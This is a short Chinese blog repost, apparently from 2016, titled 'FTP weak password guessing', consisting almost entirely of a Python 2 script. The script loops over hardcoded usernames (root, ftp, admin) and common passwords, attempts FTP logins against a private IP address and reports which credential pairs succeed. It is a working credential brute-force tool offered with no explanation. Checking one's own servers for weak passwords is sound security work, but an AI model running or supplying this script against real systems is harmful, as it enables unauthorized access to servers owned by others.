码迷,mamicode.com
首页 > 编程语言 > 详细

FTP弱口令猜解【python脚本】

时间:2016-12-07 23:31:15      阅读:223      评论:0      收藏:0      [点我收藏+]

标签:time()   bin   技术分享   list   ftp   min   for   ora   str   

ftp弱口令猜解 

技术分享

python脚本:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import ftplib,time
username_list=[‘root‘,‘ftp‘,‘admin‘]
password_list=[‘root‘,‘123‘,‘ftp‘,‘oracle‘]

def ftp(ip,port=21):
	for username in username_list:
		user =username.rstrip()
		for password in password_list:    
			pwd = password.rstrip()
			try:
				ftp = ftplib.FTP()
				ftp.connect(ip,port, 10)
				ftp.login(user,pwd)
				ftp.quit()
				print ‘[+] FTP weak password: ‘+user,pwd
			except:
				print ‘[-] checking for ‘+user,pwd+‘ fail‘
				
				
				
if __name__ == ‘__main__‘:
	start_time = time.time()

	ftp(‘192.168.106.131‘)
	print "\n"
	print ‘Checking for FTP weak password: %d 秒‘ % (time.time() - start_time)

  

FTP弱口令猜解【python脚本】

标签:time()   bin   技术分享   list   ftp   min   for   ora   str   

原文地址:http://www.cnblogs.com/xiaozi/p/6143009.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!